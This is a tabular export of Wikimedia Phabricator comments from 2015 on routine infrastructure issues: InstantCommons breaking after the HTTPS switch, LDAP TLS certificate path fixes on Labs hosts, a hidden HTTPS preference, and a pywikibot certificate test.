+475933,InstantCommons broken by switch to HTTPS,"@greg, @demon: should we have something on mediawiki-announce about this?",,,1434488149,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-3,True,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,1
+475871,InstantCommons broken by switch to HTTPS,"The commit ref'd above was merged: we've switched everything now, but left temporary exceptions for the User-Agent regex `^MediaWiki/` for the commons, upload, and meta sites.  For various security and cleanliness reasons, we'd like to remove those exceptions ASAP.  Can we get an idea on what a ""reasonable"" timeframe is to let users pick up the necessary changes?",,,1434485331,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-3,True,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,0,0,0,0
+475635,InstantCommons broken by switch to HTTPS,"Good to hear! That's the plan for upload — see @bblack's commit (still under review): https://gerrit.wikimedia.org/r/#/c/218623/2
+
+Note that this User-Agent ""fix"" is really a workaround and will need to be corrected in the future. Suggestions on how long to wait for third-party users to fix their installation (and how to communicate the upcoming breakage) are very much welcome (adding #Release-Engineering to the loop).",,,1434470000,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-3,True,1,0,1,1,0,1,1,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,0,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,0
+475630,InstantCommons broken by switch to HTTPS,"@Faidon, looks fine to me. Tested on an 1.18 wiki I had at hand and it works. Agent string is unchanged at least back until MW 1.10 (did not bother to check further).
+
+As Bawolff pointed out on IRC, upload.wikimedia.org should get the same exception if it gets switched to HTTPS-only, or otherwise we need to make sure Commons returns HTTPS file/thumbnail URLs when accessed over HTTP. That's not currently the case:
+```
+$ curl -sA 'MediaWiki/test' 'http://commons.wikimedia.org/w/api.php?action=query&format=json&prop=imageinfo&iiprop=url&titles=File:Example.png' | jq '.query.pages[].imageinfo[0].url'
+""http://upload.wikimedia.org/wikipedia/commons/7/70/Example.png""
+```",,,1434469730,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,1,1,1,1,1,0,0,1,1
+475438,InstantCommons broken by switch to HTTPS,"We just pushed a fix (56d9dde47f28ad3098659d0e5275c40533c512f3) where the redirect for HTTPS is reinstated, but with an exemption to User-Agents of ""^MediaWiki/"". This should be enough for both protecting Commons eyeballs & not breaking InstantCommons. Feedback is appreciated!",,,1434456630,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+475222,InstantCommons broken by switch to HTTPS,"Other potential issue, php on windows has a reputation for not having all the needed root certs. Not sure if that's really an issue or not.",,,1434429244,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-3,True,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+475160,InstantCommons broken by switch to HTTPS,"Backports: https://gerrit.wikimedia.org/r/#/q/Ie0b4ec179b9ccd13015c9bcbfa5c9917ff26de36,n,z",,,1434413817,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+475139,InstantCommons broken by switch to HTTPS,">>! In T102566#1367953, @BBlack wrote:
+> We fixed this for the short term by reverting the HTTPS redirects for commonswiki
+
+For the record, that was https://gerrit.wikimedia.org/r/#/c/218536/.",,,1434412327,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,1,0,1,1,1,0,0,1,1,1,1,0,0,1,0,0,1
+475135,InstantCommons broken by switch to HTTPS,"We fixed this for the short term by reverting the HTTPS redirects for commonswiki, since this was a surprise breakage.  In the medium term, we still plan to redirect this eventually, though.",,,1434412033,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+475124,InstantCommons broken by switch to HTTPS,">>! In T102566#1367811, @Bawolff wrote:
+> wmit is broken for me when i tested.
+
+Indeed :( It simply uses a lot of local copies.",,,1434410879,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,0,0,0,0,1,1,1,0,0,1,1,0,1,1,1,0,0,0,1
+475109,InstantCommons broken by switch to HTTPS,wmit is broken for me when i tested.,,,1434409979,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0
+475108,InstantCommons broken by switch to HTTPS,https://gerrit.wikimedia.org/r/#/c/218531/ should fix this for master branch.,,,1434409972,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+475128,InstantCommons broken by switch to HTTPS,"Caused by Wikimedia operations, affects a LOT of non-Wikimedia sites :|",,,1434411270,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+475107,InstantCommons broken by switch to HTTPS,"Caused by Wikimedia operations, effects a LOT of non-Wikimedia sites :|",,,1434409947,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+102245,"Hide ""prefershttps"" preference on all HSTS domains","Per ccc6aa122bcd39e0f4f29bbcfce4edf0abfe8f2b . 
+17.25 <@paravoid> https://gerrit.wikimedia.org/r/217844 will probably get merged today
+",High,80.0,1434122900,1434124531.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-TASK-eh77rgyf36a2wa4m56ab,task_description,resolved,True,c3,2,True,False,True,-3,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+473701,"Hide ""prefershttps"" preference on all HSTS domains","Change 217856 merged by jenkins-bot:
+Hide ""prefershttps"" preference on all wikis
+
+[[https://gerrit.wikimedia.org/r/217856]]",,,1434124242,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-eh77rgyf36a2wa4m56ab,task_subcomment,,True,c3,2,False,,,-3,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+473698,"Hide ""prefershttps"" preference on all HSTS domains","Change 217856 had a related patch set uploaded (by Faidon Liambotis):
+Hide ""prefershttps"" preference from everywhere
+
+[[https://gerrit.wikimedia.org/r/217856]]
+",,,1434124098,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-eh77rgyf36a2wa4m56ab,task_subcomment,,True,c3,2,False,,,-3,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+101377,LDAP TLS failing on some instances due to inconsistent state,"LDAP TLS failing in some hosts with error: 
+
+```sudo: ldap_start_tls_s(): Connect error\nphab-pup.eqiad.wmflabs```
+
+This is output of `sudo hostname -f`. ",High,80.0,1433412543,1433515267.0,PHID-USER-hxwwywcyzpooynxuo7a2,False,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-TASK-2kpajlfuxdu2t5diyrum,task_description,resolved,True,c3,1,True,False,True,-4,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+469905,LDAP TLS failing on some instances due to inconsistent state,"FWIW ran into this on filippo-test-jessie, fixed as suggested
+
+```
+filippo@filippo-test-jessie:~$ sudo -i
+sudo: ldap_start_tls_s(): Connect error
+root@filippo-test-jessie:~# sed -i 's/GlobalSign_CA.pem/ca-certificates.crt/' /etc/ldap/ldap.conf
+root@filippo-test-jessie:~# logout
+filippo@filippo-test-jessie:~$ sudo -i
+root@filippo-test-jessie:~# 
+```",,,1433517410,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-2kpajlfuxdu2t5diyrum,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1
+469883,LDAP TLS failing on some instances due to inconsistent state,"Anyway, this is done now.",,,1433515267,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-2kpajlfuxdu2t5diyrum,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+469450,LDAP TLS failing on some instances due to inconsistent state,"Salt issues possibly, also puppet might've set them back if it was in an inconsistent state?",,,1433458661,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-2kpajlfuxdu2t5diyrum,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,1,0,0,0,0
+469449,LDAP TLS failing on some instances due to inconsistent state,"FWIW, I ran a sed yestrerday via salt across the Labs fleet (in fact, the same salt command as you did). I don't know why it wouldn't apply everywhere, salt issues possibly?",,,1433458441,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-2kpajlfuxdu2t5diyrum,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0
+469437,LDAP TLS failing on some instances due to inconsistent state,"I salted the sed on most machines earlier, and they all seem ok now.",,,1433457975,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-2kpajlfuxdu2t5diyrum,task_subcomment,,True,c3,1,True,,,-4,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0
+469014,LDAP TLS failing on some instances due to inconsistent state,"T78466 for long term salt fix, allows chained salt masters so virt1000 can reach everything",,,1433428767,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-2kpajlfuxdu2t5diyrum,task_subcomment,,True,c3,1,True,,,-4,True,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+469012,LDAP TLS failing on some instances due to inconsistent state,`sudo sed -i 's/GlobalSign_CA.pem/ca-certificates.crt/' /etc/ldap/ldap.conf` works too,,,1433428703,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-2kpajlfuxdu2t5diyrum,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1
+469008,LDAP TLS failing on some instances due to inconsistent state,"beta and integration have their own salt masters:
+
+deployment-salt.eqiad.wmflabs
+integration-saltmaster.eqiad.wmflabs
+
+Cant sudo on them to run salt though :-}",,,1433428509,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2kpajlfuxdu2t5diyrum,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+468951,LDAP TLS failing on some instances due to inconsistent state,"I bet we can cut to the chase and just sed ""GlobalSign_CA.pem"" to ""ca-certificates.crt"" in ldap.conf",,,1433423021,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-2kpajlfuxdu2t5diyrum,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0
+468949,LDAP TLS failing on some instances due to inconsistent state,Or we dcould just sed ldap.conf and be ok.,,,1433422996,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-2kpajlfuxdu2t5diyrum,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1
+468915,LDAP TLS failing on some instances due to inconsistent state,"So `ln -s /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/GlobalSign_CA.pem` consistently fixes the problem, and then forcing a puppet run gives
+```--- /etc/ldap/ldap.conf	2015-06-03 22:04:33.320252202 +0000
++++ /tmp/puppet-file20150604-15144-kkai07-0	2015-06-04 11:42:04.138394104 +0000
+@@ -6,6 +6,6 @@
+ TLS_CHECKPEER   yes
+ TLS_REQCERT     demand
+ TLS_CACERTDIR   /etc/ssl/certs
+-TLS_CACERTFILE  /etc/ssl/certs/GlobalSign_CA.pem
+-TLS_CACERT      /etc/ssl/certs/GlobalSign_CA.pem
++TLS_CACERTFILE  /etc/ssl/certs/ca-certificates.crt
++TLS_CACERT      /etc/ssl/certs/ca-certificates.crt
+ SUDOERS_BASE    ou=sudoers,cn=marathon,ou=projects,dc=wikimedia,dc=org
+```
+
+So one way to fix this is perhaps to use salt to 
+
+# do symlink
+# force puppet run
+# unsymlink",,,1433418196,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-2kpajlfuxdu2t5diyrum,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,0,1,1,0,0,1,0,0,0,1,0,1,0,0,1
+468913,LDAP TLS failing on some instances due to inconsistent state,https://phabricator.wikimedia.org/P727 about 44 hosts encountering this problem.,,,1433417899,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-2kpajlfuxdu2t5diyrum,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1
+468840,LDAP TLS failing on some instances due to inconsistent state,"The problem was that they were trying to use an outdated certificate that wasn't valid anymore (https://gerrit.wikimedia.org/r/#/c/215800/) and when this happened on the puppetmaster puppet started failing and wouldn't apply the patch linked above that would've fixed it. I symlinked the old and new certfile names, and ran puppet - that fixed everything and put things as they should be.
+
+Now this could possibly also be happening in other project hosted puppetmaster - broken ldap prevents puppet causes ldap to remain broken. Should investigate.",,,1433412725,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-2kpajlfuxdu2t5diyrum,task_subcomment,,True,c3,1,True,,,-4,True,0,1,0,0,1,1,1,0,0,0,1,1,1,0,0,1,1,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,1,0,1,0,0,0
+101138,Certificate test can't fail as the certificate is valid,"The `tests.http_tests.HttpsCertificateTestCase.test_https_ignore_cert_error` can't fail anymore because the website tested is using a valid certificate: https://www.ssllabs.com/ssltest/analyze.html?d=en.vikidia.org
+
+With the requests change in T98439 it might be that we don't support connections to invalid certificates anymore.",High,80.0,1433268351,1440059361.0,PHID-USER-7fndkemmavweiht5ybfd,False,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-TASK-3khrnogpnnvtqlexyjdl,task_description,resolved,True,c3,1,True,False,True,-5,True,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+511216,Certificate test can't fail as the certificate is valid,"Change 215507 merged by jenkins-bot:
+[FIX] http: Disable certificate validation
+
+[[https://gerrit.wikimedia.org/r/215507]]",,,1440021934,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3khrnogpnnvtqlexyjdl,task_subcomment,,True,c3,3,False,,,6,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+500841,Certificate test can't fail as the certificate is valid,"We also have a test for invalid certificate, test_https_cert_error, which works well, using the still invalid cert for https://www.omegawiki.org/.
+
+The purpose of test_https_ignore_cert_error and test_https_cert_invalid was that pywikibot's threading for httplib2 failed to raise the exception on the second request to the same host, as the connection was cached.
+
+However now we are not using `httplib2` threading, we may be able to retest with https://www.omegawiki.org/ .  But the approach of https://gerrit.wikimedia.org/r/#/c/215507/ , testing with a dummy certificate, would be better.",,,1438510753,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-3khrnogpnnvtqlexyjdl,task_subcomment,,True,c3,3,True,,,4,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0
+490842,Certificate test can't fail as the certificate is valid,"We also have a test for invalid certificate, test_https_cert_error, which works well, using the still invalid cert for https://www.omegawiki.org/.
+
+The purpose of test_https_ignore_cert_error and test_https_cert_invalid was that pywikibot's threading for httplib2 failed to raise the exception on the second request to the same host, as the connection was cached.
+
+However now we are not using httplib threading, we may be able to retest with https://www.omegawiki.org/ .  But the approach of https://gerrit.wikimedia.org/r/#/c/215507/ , testing with a dummy certificate, would be better.",,,1436796691,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-3khrnogpnnvtqlexyjdl,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0
+467835,Certificate test can't fail as the certificate is valid,"Change 215507 had a related patch set uploaded (by XZise):
+[FIX] http: Disable certificate validation
+
+[[https://gerrit.wikimedia.org/r/215507]]
+",,,1433277921,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3khrnogpnnvtqlexyjdl,task_subcomment,,True,c3,1,False,,,-5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+467692,Certificate test can't fail as the certificate is valid,The easiest way to force an invalid cert error is by passing an empty cert bundle (which would make every site show up as having an invalid certificate).,,,1433268501,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-3khrnogpnnvtqlexyjdl,task_subcomment,,True,c3,1,True,,,-5,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0
